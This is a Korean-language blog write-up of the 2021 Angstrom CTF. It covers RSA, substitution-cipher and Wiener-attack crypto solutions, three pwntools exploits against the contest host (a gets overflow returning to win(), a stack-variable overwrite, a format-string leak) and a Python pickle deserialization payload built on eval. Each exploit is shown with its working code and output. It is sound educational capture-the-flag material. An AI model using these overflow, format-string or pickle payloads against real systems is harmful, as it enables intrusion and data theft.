5un9hun
5un9hun Have A Nice Day!

2021 Angstrom CTF Write-Up

2021 Angstrom CTF Write-Up

Crypto

1. Relatively Simple Algorithm

문제로 다음과 같이 n p q e c가 주어졌다.

problems

1
2
3
4
5
n = 113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223
p = 11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369
q = 9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567
e = 65537
c = 108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432

p와 q값을 이용해서 phi = (p - 1) * (q - 1) 을 구해주고, e와 phi를 이용하여 자바의 BigInteger 클래스에 있는 inversemod 함수로 d값을 구해준다.

따라서 c^d % n 을 진행하면 PlainText가 나온다. 이를 문자열로 변환해주면 flag가 나온다.

solve.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.math.BigInteger;

public class rsa {

	public static void main(String[] args) {
		//problems
		BigInteger n = new BigInteger("113138904645172037883970365829067951997230612719077573521906183509830180342554841790268134999423971247602095979484887092205889453631416247856139838680189062511282674134361726455828113825651055263796576482555849771303361415911103661873954509376979834006775895197929252775133737380642752081153063469135950168223");
		BigInteger p = new BigInteger("11556895667671057477200219387242513875610589005594481832449286005570409920461121505578566298354611080750154513073654150580136639937876904687126793459819369");
		BigInteger q = new BigInteger("9789731420840260962289569924638041579833494812169162102854947552459243338614590024836083625245719375467053459789947717068410632082598060778090631475194567");
		BigInteger e = new BigInteger("65537");
		BigInteger c = new BigInteger("108644851584756918977851425216398363307810002101894230112870917234519516101802838576315116490794790271121303531868519534061050530562981420826020638383979983010271660175506402389504477695184339442431370630019572693659580322499801215041535132565595864123113626239232420183378765229045037108065155299178074809432");
		
		//solves
		BigInteger phi = p.subtract(BigInteger.ONE).multiply(q.subtract(BigInteger.ONE));
		BigInteger d = e.modInverse(phi);
		BigInteger m = c.modPow(d, n);
		
		System.out.println("FLAG : "+ new String(m.toByteArray()));
	}

}

output

1
FLAG : actf{old_but_still_good_well_at_least_until_quantum_computing}

2. Keysar v2

문제인 스크립트와 스크립트 내 enc 값은 다음과 같다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import string

with open("key.txt", "r") as f:
    shift = int(f.readline())
    key = f.readline()

with open("flag.txt", "r") as f:
    flag = f.read()


stdalph = string.ascii_lowercase
rkey = ""

for i in key:
    if i not in rkey:
        rkey += i
for i in stdalph:
    if i not in rkey:
        rkey += i
rkey = rkey[-shift:] + rkey[:-shift]

enc = ""
for a in flag:
    if a in stdalph:
        enc += rkey[stdalph.index(a)]
    else:
        enc += a

print(enc)

enc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
quutcvbmy ft qii amtkm iqkd tx qjbqfbtm, fzwcw bd mt kqo q sww dztgiv sw qsiw ft xio. bfd kbmyd qcw ftt drqii ft ywf bfd xqf ibffiw stvo txx fzw yctgmv. 
fzw sww, tx utgcdw, xibwd qmokqo swuqgdw swwd vtm'f uqcw kzqf zgrqmd fzbma bd brhtddbsiw. owiitk, siqua. owiitk, siqua. owiitk, siqua. owiitk, siqua. ttz, 
siqua qmv owiitk! iwf'd dzqaw bf gh q ibffiw. sqcco! scwqaxqdf bd cwqvo! utrbmy! zqmy tm q dwutmv. zwiit? sqcco? qvqr? uqm otg swibwjw fzbd bd zqhhwmbmy? 
b uqm'f. b'ii hbua otg gh. ittabmy dzqch. gdw fzw dfqbcd. otgc xqfzwc hqbv yttv rtmwo xtc fztdw. dtcco. b'r wnubfwv. zwcw'd fzw ycqvgqfw. kw'cw jwco hctgv 
tx otg, dtm. q hwcxwuf cwhtcf uqcv, qii s'd. jwco hctgv. rq! b ytf q fzbmy ytbmy zwcw. otg ytf ibmf tm otgc xgpp. tk! fzqf'd rw! kqjw ft gd! kw'ii sw bm ctk
118,000. sow! sqcco, b ftiv otg, dfth xiobmy bm fzw ztgdw! zwo, qvqr. zwo, sqcco. bd fzqf xgpp ywi? q ibffiw. dhwubqi vqo, ycqvgqfbtm. mwjwc fztgyzf b'v rqaw bf. 
fzcww vqod ycqvw duztti, fzcww vqod zbyz duztti. fztdw kwcw qkakqcv. fzcww vqod utiiwyw. b'r yiqv b ftta q vqo qmv zbfuzzbawv qctgmv fzw zbjw. otg vbv utrw squa
vbxxwcwmf. zb, sqcco. qcfbw, yctkbmy q rgdfquzw? ittad yttv. zwqc qstgf xcqmabw? owqz. otg ytbmy ft fzw xgmwcqi? mt, b'r mtf ytbmy. wjwcostvo amtkd, dfbmy dtrwtmw, 
otg vbw. vtm'f kqdfw bf tm q degbccwi. dguz q ztfzwqv. b ygwdd zw utgiv zqjw lgdf ytffwm tgf tx fzw kqo. b itjw fzbd bmutchtcqfbmy qm qrgdwrwmf hqca bmft tgc vqo. 
fzqf'd kzo kw vtm'f mwwv jquqfbtmd. sto, egbfw q sbf tx htrh... gmvwc fzw ubcugrdfqmuwd. kwii, qvqr, ftvqo kw qcw rwm. kw qcw! sww-rwm. qrwm! zqiiwiglqz! dfgvwmfd,
xqugifo, vbdfbmygbdzwv swwd, hiwqdw kwiutrw vwqm sgppkwii. kwiutrw, mwk zbjw ubfo ycqvgqfbmy uiqdd tx... ...9:15. fzqf utmuigvwd tgc uwcwrtmbwd. qmv swybmd otgc 
uqcwwc qf ztmwn bmvgdfcbwd! kbii kw hbua tgclts ftvqo? b zwqcv bf'd lgdf tcbwmfqfbtm. zwqvd gh! zwcw kw yt. awwh otgc zqmvd qmv qmfwmmqd bmdbvw fzw fcqr qf qii fbrwd.
ktmvwc kzqf bf'ii sw ibaw? q ibffiw duqco. kwiutrw ft ztmwn, q vbjbdbtm tx ztmwdut qmv q hqcf tx fzw zwnqytm yctgh. fzbd bd bf! ktk. ktk. kw amtk fzqf otg, qd q sww, 
zqjw ktcawv otgc kztiw ibxw ft ywf ft fzw htbmf kzwcw otg uqm ktca xtc otgc kztiw ibxw. ztmwo swybmd kzwm tgc jqibqmf htiiwm ltuad scbmy fzw mwufqc ft fzw zbjw. 
tgc fth-dwucwf xtcrgiq bd qgftrqfbuqiio utitc-utccwufwv, duwmf-qvlgdfwv qmv sgssiw-utmftgcwv bmft fzbd dttfzbmy dkwwf docgh kbfz bfd vbdfbmufbjw ytivwm yitk otg 
amtk qd... ztmwo! fzqf ybci kqd ztf. dzw'd ro utgdbm! dzw bd? owd, kw'cw qii utgdbmd. cbyzf. otg'cw cbyzf. qf ztmwn, kw utmdfqmfio dfcbjw ft brhctjw wjwco qdhwuf
tx sww wnbdfwmuw. fzwdw swwd qcw dfcwdd-fwdfbmy q mwk zwirwf fwuzmtityo. kzqf vt otg fzbma zw rqawd? mtf wmtgyz. zwcw kw zqjw tgc iqfwdf qvjqmuwrwmf, fzw acwirqm.
qufx{awowvuqwdqcrtcwibawdgsdfbfgfbtm}

스크립트를 살펴보면 flag에서 output에 알파벳이면 치환을 진행하고, 그 외에는 가만히 놔두는 구조이다. 치화 로직은 무작위 치환 암호같았다.

그래서 영어에서 제일 빈도 수가 많은 알파벳인 e를 먼저 찾고, 그 다음 that, what 등등을 찾아보고 치환하던 도중, 쓸데없이 귀찮은 짓은 안해도될 거 같아서 다음 사이트를 이용했다.

http://quipqiup.com

따라서 해독한 결과는 다음과 같다.

output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
according to all known laws of aviation, there is no way a bee should be able to fly. its wings are too small to get its fat little body off the ground. the bee, 
of course, flies anyway because bees don't care what humans think is impossible. yellow, black. yellow, black. yellow, black. yellow, black. ooh, black and yellow! 
let's shake it up a little. barry! breakfast is ready! coming! hang on a second. hello? barry? adam? can you believe this is happening? i can't. i'll pick you up. 
looking sharp. use the stairs. your father paid good money for those. sorry. i'm excited. here's the graduate. we're very proud of you, son. a perfect report card,
all b's. very proud. ma! i got a thing going here. you got lint on your fuzz. ow! that's me! wave to us! we'll be in row 118,000. bye! barry, i told you, stop flying 
in the house! hey, adam. hey, barry. is that fuzz gel? a little. special day, graduation. never thought i'd make it. three days grade school, three days high school.
those were awkward. three days college. i'm glad i took a day and hitchhiked around the hive. you did come back different. hi, barry. artie, growing a mustache? 
looks good. hear about frankie? yeah. you going to the funeral? no, i'm not going. everybody knows, sting someone, you die. don't waste it on a squirrel. such a hothead. 
i guess he could have just gotten out of the way. i love this incorporating an amusement park into our day. that's why we don't need vacations. boy, quite a bit of pomp...
under the circumstances. well, adam, today we are men. we are! bee-men. amen! hallelujah! students, faculty, distinguished bees, please welcome dean buzzwell. welcome,
new hive city graduating class of... ...9:15. that concludes our ceremonies. and begins your career at honex industries! will we pick ourjob today? i heard it's just 
orientation. heads up! here we go. keep your hands and antennas inside the tram at all times. wonder what it'll be like? a little scary. welcome to honex, a division 
of honesco and a part of the hexagon group. this is it! wow. wow. we know that you, as a bee, have worked your whole life to get to the point where you can work for your
whole life. honey begins when our valiant pollen jocks bring the nectar to the hive. our top-secret formula is automatically color-corrected, scent-adjusted and 
bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... honey! that girl was hot. she's my cousin! she is? yes, we're all cousins. 
right. you're right. at honex, we constantly strive to improve every aspect of bee existence. these bees are stress-testing a new helmet technology. what do you think he makes?
not enough. here we have our latest advancement, the krelman. 
actf{keyedcaesarmorelikesubstitution}

FLAG

1
FLAG : actf{keyedcaesarmorelikesubstitution}

3. sosig

문제는 다음과 같았다.

problems

1
2
3
4
5
n: 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853

e: 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799

c: 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227

e값이 65537보다 훨씬 큰 경우 가능한 공격 방식인 위너 공격을 이용했다.

다음과 같은 툴을 이용했다.

rsa-wiener-attack

solve.py

1
2
3
4
5
6
7
8
9
10
from RSAwienerHacker import *
from Crypto.Util.number import long_to_bytes

n = 14750066592102758338439084633102741562223591219203189630943672052966621000303456154519803347515025343887382895947775102026034724963378796748540962761394976640342952864739817208825060998189863895968377311649727387838842768794907298646858817890355227417112558852941256395099287929105321231423843497683829478037738006465714535962975416749856785131866597896785844920331956408044840947794833607105618537636218805733376160227327430999385381100775206216452873601027657796973537738599486407175485512639216962928342599015083119118427698674651617214613899357676204734972902992520821894997178904380464872430366181367264392613853
e = 1565336867050084418175648255951787385210447426053509940604773714920538186626599544205650930290507488101084406133534952824870574206657001772499200054242869433576997083771681292767883558741035048709147361410374583497093789053796608379349251534173712598809610768827399960892633213891294284028207199214376738821461246246104062752066758753923394299202917181866781416802075330591787701014530384229203479804290513752235720665571406786263275104965317187989010499908261009845580404540057576978451123220079829779640248363439352875353251089877469182322877181082071530177910308044934497618710160920546552403519187122388217521799
c = 13067887214770834859882729083096183414253591114054566867778732927981528109240197732278980637604409077279483576044261261729124748363294247239690562657430782584224122004420301931314936928578830644763492538873493641682521021685732927424356100927290745782276353158739656810783035098550906086848009045459212837777421406519491289258493280923664889713969077391608901130021239064013366080972266795084345524051559582852664261180284051680377362774381414766499086654799238570091955607718664190238379695293781279636807925927079984771290764386461437633167913864077783899895902667170959671987557815445816604741675326291681074212227

d = hack_RSA(e,n)

print("FLAG : " + long_to_bytes(pow(c,d,n)).decode())

output

1
2
Hacked!
FLAG : actf{d0ggy!!!111!1}

Binary

1. tranquil

problems

main 함수에서 vuln함수를 호출하고,

vuln함수는 다음과 같다.

vuln()

1
2
3
4
5
6
7
8
9
10
11
12
__int64 vuln()
{
  char s1; // [rsp+0h] [rbp-40h]

  puts("Enter the secret word: ");
  gets(&s1);
  if ( !strcmp(&s1, "password123") )
    puts("Logged in! The flag is somewhere else though...");
  else
    puts("Login failed!");
  return 0LL;
}

버퍼 s1에 gets를 통해 바이트 수가 제한되지 않기 때문에 bof가 터진다. 하지만 s1은 password123이여야하고, 이 점만 우회해주고 ret에 사용자 정의 함수의 win()을 넣어주면 flag가 나온다.

win()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int win()
{
  char s; // [rsp+0h] [rbp-90h]
  FILE *stream; // [rsp+88h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    printf("Missing flag.txt. Contact an admin if you see this on remote.", "r");
    exit(1);
  }
  fgets(&s, 128, stream);
  return puts(&s);
}

strcmp를 우회하는 방식으로 gets로 입력받을 때, 페이로드로 password123+\x00 을 통해 문자열의 끝을 지정해준다면, strcmp는 이를 password123이라고 인지하고, 우회된다. 그리고 그 뒤에 더미 + win() 주소를 넣으면 ret에 win()을 넣을 수 있다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

r = remote('shell.actf.co', 21830)

win = 0x401196

r.recvuntil('word')

payload = b''
payload += b'password'
payload += b'123' + b'\x00'*5
payload += b'A'*(0x40-len(payload))
payload += b'B'*8
payload += p64(win)

r.sendline(payload)

r.interactive()

output

1
2
3
4
5
6
7
8
9
10
[x] Opening connection to shell.actf.co on port 21830
[x] Opening connection to shell.actf.co on port 21830: Trying 3.232.192.57
[+] Opening connection to shell.actf.co on port 21830: Done
[*] Switching to interactive mode
:
Logged in! The flag is somewhere else though...
actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}

Segmentation fault (core dumped)
[*] Got EOF while reading in interactive

지금 생각해보니 strcmp에서 프로그램 종료 로직이 없어서 우회안해도 될듯. 문제 잘못 봤네

2. Sanity Check

이 문제는 이전 문제인 tranquil과 비슷한 형태인데, win()함수가 주어지지 않았다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-E0h]
  char s1; // [rsp+80h] [rbp-60h]
  FILE *stream; // [rsp+C0h] [rbp-20h]
  int v7; // [rsp+CCh] [rbp-14h]
  int v8; // [rsp+D0h] [rbp-10h]
  int v9; // [rsp+D4h] [rbp-Ch]
  int v10; // [rsp+D8h] [rbp-8h]
  int v11; // [rsp+DCh] [rbp-4h]

  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v11 = 0;
  v10 = 0;
  v9 = 0;
  v8 = 0;
  v7 = 0;
  printf("Enter the secret word: ", 0LL);
  gets(&s1);
  if ( strcmp(&s1, "password123") )
    return puts("Login failed!");
  puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
  if ( v11 != 50 || v10 != 55 || v9 != 245 || v8 != 61 || v7 != 17 )
    return puts("Nope, something seems off.");
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    printf("Missing flag.txt. Contact an admin if you see this on remote.", "r");
    exit(1);
  }
  fgets(&s, 128, stream);
  return printf(&s, 128LL);
}

strcmp 다음을 보면, 다음과 같음 로직이 있다.

1
v11 != 50 || v10 != 55 || v9 != 245 || v8 != 61 || v7 != 17

각 변수마다 각각의 숫자여야 flag를 준다.

따라서 각각의 주소에 그 값을 넣어준다면 flag가 나온다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

r = remote('shell.actf.co', 21303)

r.recvuntil('word: ')

payload = b''
payload += b'password'
payload += b'123' + b'\x00'*5
payload += b'A'*(0x60-len(payload)-20)
payload += b'\x11'+b'\x00'*3
payload += b'\x3d'+b'\x00'*3
payload += b'\xf5'+b'\x00'*3
payload += b'\x37'+b'\x00'*3
payload += b'\x32'+b'\x00'*3

r.sendline(payload)

r.interactive()

FLAG

1
2
3
4
5
6
7
[x] Opening connection to shell.actf.co on port 21303
[x] Opening connection to shell.actf.co on port 21303: Trying 3.232.192.57
[+] Opening connection to shell.actf.co on port 21303: Done
[*] Switching to interactive mode
Logged in! Let's just do some quick checks to make sure everything's in order...
actf{if_you_aint_bout_flags_then_i_dont_mess_with_yall}
[*] Got EOF while reading in interactive

3. stickystacks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;


int vuln(){
    char name[7];
    
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
    
    
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
    
    
    puts("Name: ");
    
    fgets(name, 6, stdin);
    
    
    printf("Welcome, ");
    printf(name);
    printf("\n");
    
    return 0;
}


int main(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    vuln();
    
    return 0;
}


주어진 코드를 보면, 다음과 같이 printf(name) 에서 FSB가 터진다. 이를 이용해 stack memory를 leak할 수 있다. 다만 fgets를 통해 name에 입력받는 개수는 6개이므로 %1$p 를 이용해서 한 바이트씩 확인해볼 수 있다.

%33$p ~ %42$p의 output을 보면

6c65777b66746361
61625f6d27695f6c
..
a7d333935663161

으로 나온 것을 확인해볼 수 있다. 이를 문자열로 바꾸어서 flag임을 확인할 수 있었다. python의 binascii를 이용해 복호화하면 다음과 같은 결과를 얻을 수 있다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from binascii import *

r = remote('shell.actf.co', 21820)

r.recvuntil('Name: ')

payload = b''
payload += b'%42$p' #33~42

r.sendline(payload)

r.recvuntil('Welcome, ')

r.interactive()

#손르트 포싱

flag = unhexlify(b'6c65777b66746361').decode()[::-1]
flag += unhexlify(b'61625f6d27695f6c').decode()[::-1]
flag += unhexlify(b'6c625f6e695f6b63').decode()[::-1]
flag += unhexlify(b'5f7365795f6b6361').decode()[::-1]
flag += unhexlify(b'6b6361625f6d2769').decode()[::-1]
flag += unhexlify(b'5f6568745f6e695f').decode()[::-1]
flag += unhexlify(b'65625f6b63617473').decode()[::-1]
flag += unhexlify(b'3439323135623963').decode()[::-1]
flag += unhexlify(b'3438363737646165').decode()[::-1]
flag += unhexlify(b'0a7d333935663161').decode()[::-1]

print(flag)

참고로 마지막 a7d333935663161 경우 a가 0a 인데 앞의 0이 생략되어서 나왔기 때문에 붙여주어야한다.

for문 돌려서 가져오면 되는데 그냥 손으로 하는게 더 빠를거 같아서 손으로 했다.

FLAG

1
actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}

Web

1. Jar

DOCKERFILE

주어진 도커 파일을 보면 다음과 같다.

1
2
3
4
5
6
7
8
FROM python
RUN pip3 --no-cache-dir install flask gunicorn
WORKDIR /srv
COPY jar.py pickle.jpg ./
ENV FLAG="actf{REDACTED}"
EXPOSE 5000
USER nobody
CMD python jar.py

flag를 환경변수 FLAG에 숨겨놓았다. 이 점을 인지하고 스크립트를 살펴보면, 다음과 같다.

script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask, send_file, request, make_response, redirect
import random
import os

app = Flask(__name__)

import pickle
import base64

flag = os.environ.get('FLAG', 'actf{FAKE_FLAG}')

@app.route('/pickle.jpg')
def bg():
	return send_file('pickle.jpg')

@app.route('/')
def jar():
	contents = request.cookies.get('contents')
	if contents: items = pickle.loads(base64.b64decode(contents))
	else: items = []
	return '<form method="post" action="/add" style="text-align: center; width: 100%"><input type="text" name="item" placeholder="Item"><button>Add Item</button><img style="width: 100%; height: 100%" src="/pickle.jpg">' + \
		''.join(f'<div style="background-color: white; font-size: 3em; position: absolute; top: {random.random()*100}%; left: {random.random()*100}%;">{item}</div>' for item in items)

@app.route('/add', methods=['POST'])
def add():
	contents = request.cookies.get('contents')
	if contents: items = pickle.loads(base64.b64decode(contents))
	else: items = []
	items.append(request.form['item'])
	response = make_response(redirect('/'))
	response.set_cookie('contents', base64.b64encode(pickle.dumps(items)))
	return response

app.run(threaded=True, host="0.0.0.0")

pickle.loads(base64.b64decode(contents))에서 파이썬의 pickle 취약점이 터진다.

pickle을 dump하기 전에 환경변수 FLAG를 eval로 평가해주는 코드를 _reduce_ 함수의 리턴값으로 넣어주고, 이를 쿠키값으로 넣으면 피클 데이터가 loads되면서 플래그가 나타날 것이다.

이를 이용해 다음과 같은 파이썬 스크립트를 작성했다.

solve.py

1
2
3
4
5
6
7
8
9
10
11
import pickle , pickletools
import base64
import os

class exploit1(object):
    def __reduce__(self):
        return (eval, ('os.environ[\'FLAG\']', ))


b = base64.b64encode(pickle.dumps(exploit1())).decode('utf8')
print(b)

output

1
gASVLgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwSb3MuZW52aXJvblsnRkxBRyddlIWUUpQu

이 값을 contents 쿠기값으로 넣어주면 다음과 같이 플래그가 뜬다.

image

이를 복사해서 보면 flag를 확인할 수 있다.

FLAG

1
FLAG : actf{you_got_yourself_out_of_a_pickle}

comments powered by Disqus